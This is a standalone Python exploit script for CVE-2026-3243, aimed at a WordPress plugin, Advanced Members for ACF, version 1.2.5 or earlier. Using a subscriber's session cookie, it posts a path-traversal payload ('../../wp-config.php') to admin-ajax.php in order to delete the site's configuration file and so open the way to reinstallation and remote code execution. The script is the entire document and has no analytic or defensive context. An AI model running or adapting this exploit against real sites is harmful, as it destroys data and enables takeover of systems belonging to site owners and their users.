CVE-2026-3243

import requests # Exploit scenario for CVE-2026-3243 # Target: WordPress with Advanced Members for ACF <= 1.2.5 # Description: Deletes wp-config.php to trigger reinstallation/RCE target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker's cookie (Subscriber level) cookies = { "wordpress_logged_in_xxx": "attacker_session_cookie" } # Payload data exploiting the path traversal payload_data = { "action": "create_crop", "file_path": "../../wp-config.php" # Path traversal payload } try: response = requests.post(target_url, data=payload_data, cookies=cookies) if response.status_code == 200: print("[+] Exploit request sent successfully.") print("[+] Check if wp-config.php is deleted.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

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